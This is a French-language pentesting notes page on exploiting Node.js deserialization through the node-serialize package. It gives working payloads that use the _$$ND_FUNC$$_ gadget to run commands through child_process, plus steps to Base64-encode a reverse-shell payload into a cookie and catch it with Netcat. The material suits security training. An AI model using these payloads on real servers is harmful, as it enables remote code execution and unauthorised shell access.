> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Désérialisation Node.js Base64
## Désérialisation (node.js)
Avec Burp Suite, interceptez la requête et trouvez un **cookie encodé en Base64**:
### **Manuel :**
Le **serialize.js** le fichier ci-dessous sérialise les données et exécute une commande, dans ce cas `id`, sur **notre machine**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Sérialisé : /n" + serialize.serialize(y));
```
Pour envoyer la charge utile à la **serveur**, créez le **unserialize.js** fichier ci-dessous :
```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
### **Automatiquement :**
Utilisez ceci [le script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), téléversez-le et exécutez-le avec **python2.7**:
Créez un fichier nommé `données` avec le contenu ci-dessous, et remplacez **input** par le contenu du script :
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
Enfin, convertissez ce fichier en **Base64**:
Collez le contenu dans Burp Suite :
Avec **Netcat**, écoutez et obtenez l'accès :
---
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